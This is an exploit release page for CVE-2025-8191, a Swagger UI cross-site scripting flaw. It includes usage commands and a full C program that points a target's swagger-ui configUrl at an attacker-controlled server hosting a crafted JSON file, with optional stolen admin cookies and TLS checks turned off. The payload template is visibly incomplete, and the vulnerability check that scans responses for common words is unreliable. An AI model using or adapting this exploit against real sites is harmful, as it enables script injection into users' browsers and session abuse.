Swagger UI XSS Injection


Description

This is a Proof-of-Concept (PoC) exploit for CVE-2025-8191, a vulnerability found in Swagger UI. The vulnerability allows Cross-Site Scripting (XSS) injection in the description field, leading to remote script execution under Swagger UI versions ≤ 1.0.3.

Author :

Byte Reaper :

Build :

    # gcc exploit.c argparse.c -o CVE-2025-8191 -lcurl

Run Exploit :

 
    # ./CVE-2025-8191 -u http://target.com

    1- Verbose Mode : 
    # ./CVE-2025-8191 -u http://target.com -v

    2- Cookies FILE :
    # ./CVE-2025-8191 -u  http://target.com -c [Cookie file admin]

    3- Payload FILE JS :
    # ./CVE-2025-8191 -u  http://target.com -f [PAYLOAD_FILE]

    4- Target PORT :
    # ./CVE-2025-8191 -u  http://target.com -p [PORT]

    5- SERVER :
    # ./CVE-2025-8191 -u  http://target.com -s http://yourserver.com

Exploit :

File: exploit.c — Size: 15,2 KB — Lines: 462

  
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "argparse.h"
#include <curl/curl.h>

int portSel = 0;
int portServerSel = 0;
int selectFile = 0;
const char *targetUrl = NULL;
const char *cookies   = NULL;
const char *server    = NULL;
const char *yourFile  = NULL;
const char *payloadFile = "xss.json";
int targetPort = 0;
int yourPort = 0;
int verbose = 0;
int useCookies  = 0;
struct Mem
{
   char *buffer;
   size_t len;
};


void exitAssembly()
{
   __asm__ volatile
   (
       "mov $231, %%rax\n\t"
       "xor %%rdi, %%rdi\n\t"
       "syscall\n\t"
       :
       :
       :"rax",
        "rdi"
   );
}
size_t write_cb(void *ptr,
               size_t size, size_t nmemb,
               void *userdata)
{
   size_t total = size * nmemb;
   struct Mem *m = (struct Mem *)userdata;
   char *tmp = realloc(m->buffer, m->len + total + 1);
   if (tmp == NULL)
   {
       printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n");
       exitAssembly();
   }
   m->buffer = tmp;
   memcpy(&(m->buffer[m->len]), ptr, total);
   m->len += total;
   m->buffer[m->len] = '\0';
   return total;
}
void createFile(const char *filename,
               const char *server)
{
   FILE *f = fopen(filename, "w");
   if (f == NULL)
   {
       printf("\e[1;31m[-] Error Create file (xss.json)!\e[0m\n");
       exitAssembly();
   }

   char payloadBuf[2048];
   int lenFile = snprintf(
       payloadBuf,
       sizeof(payloadBuf),
                          "{\n"
                          "  \"swagger\": \"2.0\",\n"
                          "  \"info\": {\n"
                          "    \"version\": \"1.0.0\",\n"
                          "    \"title\": \"XSS Injection Demo\",\n"
                          "    \"description\": \"\"\n"
                          "  },\n"
                          "  \"paths\": {}\n"
                          "}",
                          server
   );

   if (lenFile <= 0 || lenFile >= sizeof(payloadBuf))
   {
       printf("\e[1;31m[-] File payload too large!\e[0m\n");
       fclose(f);
       exitAssembly();
   }
   fwrite(payloadBuf,
          1,
          lenFile,
          f);
   fclose(f);
   printf("\e[1;34m[+] File name: %s\e[0m\n",
          filename);
   printf("\e[1;34m[+] File created successfully.\e[0m\n");
   printf("\e[1;35m============================= [PAYLOAD] =============================\e[0m\n");
   printf("\e[1;34m[+] Payload content :\n%s\e[0m\n",
          payloadBuf);
   printf("\e[1;35m====================================================================\e[0m\n");

}
void sendRequest(const char *baseUrl,
                int targetPort,
                const char *server,
                const char *payloadFile)
{
   const char *filename = "xss.json";
   createFile(filename, server);
   CURL *curl = curl_easy_init();
   CURLcode res;
   char full[4000];
   if (curl == NULL)
   {
       printf("\e[1;31m[-] Error Create Object CURL !\e[0m\n");
       exitAssembly();
   }
   struct Mem server_Rsponse =
   {
       NULL,
       0
   };
   server_Rsponse.buffer = NULL ;
   server_Rsponse.len = 0;
   if (curl)
   {

       if (portSel)
       {
           int len1 = snprintf(full,
                               sizeof(full),
                               "%s:%d/swagger-ui/index.html?configUrl=%s/%s",
                               baseUrl,
                               targetPort,
                               server,
                               payloadFile);
           if (len1 < 0 || len1 >= (int)sizeof(full))
           {
               printf("\e[1;31m[-] URL is Long !\e[0m\n");
               printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len1);
               exitAssembly();
           }
       }
       if (portServerSel)
       {
           int len2 = snprintf(full,
                               sizeof(full),
                               "%s/swagger-ui/index.html?configUrl=%s:%d/%s",
                               baseUrl,
                               server,
                               yourPort,
                               payloadFile);

           if (len2 < 0 || len2 >= (int)sizeof(full))
           {
               printf("\e[1;31m[-] URL is Long !\e[0m\n");
               printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len2);
               exitAssembly();
           }

       }
       if (selectFile)
       {
           int len3 = snprintf(full,
                               sizeof(full),
                               "%s:%d/swagger-ui/index.html?configUrl=%s/%s",
                               baseUrl,
                               targetPort,
                               server,
                               yourFile);
           if (len3 < 0 || len3 >= (int)sizeof(full))
           {
               printf("\e[1;31m[-] URL is Long !\e[0m\n");
               printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len3);
               exitAssembly();
           }
       }
       else
       {
           int len4 = snprintf(full,
                               sizeof(full),
                               "%s:%d/swagger-ui/index.html?configUrl=%s/%s",
                               baseUrl,
                               targetPort,
                               server,
                               payloadFile);
           if (len4 < 0 || len4 >= (int)sizeof(full))
           {
               printf("\e[1;31m[-] URL is Long !\e[0m\n");
               printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len4);
               exitAssembly();
           }
       }
       curl_easy_setopt(curl,
                        CURLOPT_URL,
                        full);
       if (useCookies)
       {
           curl_easy_setopt(curl,
                            CURLOPT_COOKIEFILE,
                            cookies);
           curl_easy_setopt(curl,
                            CURLOPT_COOKIEJAR,
                            cookies);

       }
       curl_easy_setopt(curl,
                        CURLOPT_FOLLOWLOCATION,
                        1L);
       curl_easy_setopt(curl,
                        CURLOPT_WRITEFUNCTION,
                        write_cb);
       if (verbose)
       {
           printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
           curl_easy_setopt(curl,
                            CURLOPT_VERBOSE,
                            1L);
       }
       curl_easy_setopt(curl,
                        CURLOPT_WRITEDATA,
                        &server_Rsponse);
       curl_easy_setopt(curl,
                        CURLOPT_CONNECTTIMEOUT,
                        5L);
       curl_easy_setopt(curl,
                        CURLOPT_TIMEOUT,
                        10L);
       curl_easy_setopt(curl,
                        CURLOPT_SSL_VERIFYPEER,
                        0L);
       curl_easy_setopt(curl,
                        CURLOPT_SSL_VERIFYHOST,
                        0L);
       struct curl_slist *headers = NULL;
       headers = curl_slist_append(headers,
                                   "Accept-Language: en-US,en");
       headers = curl_slist_append(headers,
                                   "Connection: keep-alive");

       char ref[500];
       snprintf(ref , sizeof(ref), "Referer: %s",
                server);
       headers = curl_slist_append(headers,
                                   ref);
       curl_easy_setopt(curl,
                        CURLOPT_HTTPHEADER,
                        headers);
       res = curl_easy_perform(curl);
       curl_slist_free_all(headers);

       if (res == CURLE_OK)
       {
           double timeD;
           double downloadTime;
           long httpCode = 0;
           long size;
           curl_off_t content_length;
           curl_off_t connectTime;
           curl_easy_getinfo(curl,
                             CURLINFO_APPCONNECT_TIME,
                             &connectTime);
           curl_easy_getinfo(curl,
                             CURLINFO_SIZE_DOWNLOAD_T,
                             &content_length);

            curl_easy_getinfo(curl,
                              CURLINFO_HEADER_SIZE,
                              &size);

           printf("\e[1;36m[+] Time: %" CURL_FORMAT_CURL_OFF_T ".%06ld\e[0m\n", connectTime / 1000000,
                  (long)(connectTime % 1000000));
           printf("\e[1;36m[+] Size: %.0f\n",
                  connectTime);
           printf("\e[1;36m[+] Header size: %ld bytes\e[0m\n",
                  size);
           printf("[+] Download size: %" CURL_FORMAT_CURL_OFF_T "\n", content_length);

           curl_easy_getinfo(curl,
                             CURLINFO_RESPONSE_CODE,
                             &httpCode);
           curl_easy_getinfo(curl,
                             CURLINFO_TOTAL_TIME,
                             &timeD);
           printf("\e[1;36m[+] Request sent successfully\e[0m\n");
           printf("\e[1;34m[+] Delay Time Response : %f\e[0m\n",
                  timeD);
           printf("\e[1;37m[+] Input Url : %s\e[0m\n",
                  baseUrl);

           if (portSel)
           {
               printf("\e[1;33m[+] Target Port Server : %d\e[0m\n", targetPort);
           }
           if (portServerSel)
           {
               printf("\e[1;33m[+] Your Port Server : %d\e[0m\n", yourPort);
           }
           printf("\e[1;33m[+] Your Server URL : %s\e[0m\n", server);
           printf("\e[1;37m[+] Full Url : %s\e[0m\n",
                  full);
           if (httpCode >= 200 && httpCode < 300)
           {
               printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",httpCode);
               const char *foundKey[] =
               {
                   "id=",
                   "path",
                   "host",
                   "alert",
                   "error",
               };
               printf("\e[1;35m[+] Response Server : =======================================\e[0m\n");
               printf("%s\n", server_Rsponse.buffer);
               printf("\e[1;35m=============================================================\e[0m\n");
               int numberKey = sizeof(foundKey) /sizeof(foundKey[0]);
               int notFound = 0;
               for (int k = 0; k < numberKey; k++)
               {
                   if (strstr(server_Rsponse.buffer, foundKey[k]) != NULL)
                   {
                       printf("\e[1;34m[+] Found Word In Response : %s\n", foundKey[k]);
                       printf("\e[1;34m[+] The server suffers from the CVE-2025-8191 vulnerability.\e[0m\n");
                       printf("\e[1;35m[+] Response Server : =======================================\e[0m\n");
                       printf("%s\n", server_Rsponse.buffer);
                       printf("\e[1;35m=============================================================\e[0m\n");
                   }
                   else
                   {
                       if (verbose)
                       {
                           printf("\e[1;31m[-] Not Found Word : %s\n",foundKey[k]);
                       }

                       notFound = 1;
                   }
               }
               if (notFound)
               {
                   printf("\e[1;31m[-] No suspicious words were found in the server's reply.\e[0m\n");
               }
           }
           else
           {
               printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", httpCode);
               if (verbose)
               {
                   printf("\e[1;35m[+] Response Server : =======================================\e[0m\n");
                   printf("%s\n", server_Rsponse.buffer);
                   printf("\e[1;35m=============================================================\e[0m\n");
               }
           }
       }
       else
       {
           printf("\e[1;31m[-] Error Send Request\e[0m\n");
           printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
           printf("\e[1;31m[-] Please Check Your Connection !\e[0m\n");
           exitAssembly();
       }
   }
   if (server_Rsponse.buffer)
   {
       free(server_Rsponse.buffer);
       server_Rsponse.buffer = NULL;
       server_Rsponse.len = 0;
   }
   curl_easy_cleanup(curl);
}





int main(int argc, const char **argv)
{
   printf(
       "\e[1;31m"
       "▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▗ ▄▖▗   \n"
       "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▌▜ ▙▌▜   \n"
       "▙▖▚▘▙▖  ▙▖█▌▙▖▄▌  ▙▌▟▖▄▌▟▖  \n"
   );
   printf("\e[1;37m     [ Byte Reaper ]\n\e[0m");
   printf("\e[1;37m [ Cross-Site Scripting ]\n\e[0m");
   printf("\e[1;31m---------------------------------------------------------------------------------------\e[0m\n");

   struct argparse_option options[] =
   {
       OPT_HELP(),
       OPT_STRING('u',
                  "url",
                  &targetUrl,
                  "Target Url (Base URL)"),
       OPT_STRING('c',
                 "cookies",
                 &cookies,
                "cookies File"),
       OPT_STRING('s',
                   "server",
                   &server,
                   "Your Server URL"),
       OPT_STRING('f',
                  "file",
                   &yourFile,
                   "Name File (Json File Payload)"),
       OPT_INTEGER('p',
                   "port",
                   &targetPort,
                   "Target Port Server"),
       OPT_INTEGER('b',
                   "portS",
                   &yourPort,
                   "Enter Your Port Server"),
       OPT_BOOLEAN('v',
                  "verbose",
                  &verbose,
                "Verbose Mode"),
       OPT_END(),
   };
   struct argparse argparse;
   argparse_init(&argparse,
                 options,
                 NULL,
                 0);

   argparse_parse(&argparse,
                  argc,
                  argv);
   if (!targetUrl && !server)
   {
       printf("\e[1;31m[-] Please Enter Your Url !\e[0m\n");
       printf("\e[1;31m[-] Ex : ./exploit -u http://URL -s http://YOUR_SEVER \e[0m\n");
       printf("\e[1;31m[-] Exit Syscall\e[0m\n");
       exitAssembly();
   }
   if (cookies)
   {
       useCookies = 1;
   }
   if (verbose)
   {
       verbose = 1;
   }
   if (targetPort)
   {
       portSel = 1;
   }
   if (yourPort)
   {
       portServerSel = 1;
   }
   if (yourFile)
   {
       selectFile = 1;
   }
   sendRequest(targetUrl,
               targetPort,
               server,
               selectFile ? yourFile : payloadFile);

   return 0;
}
  
Download

References :

  • NVD : link
  • CVE : link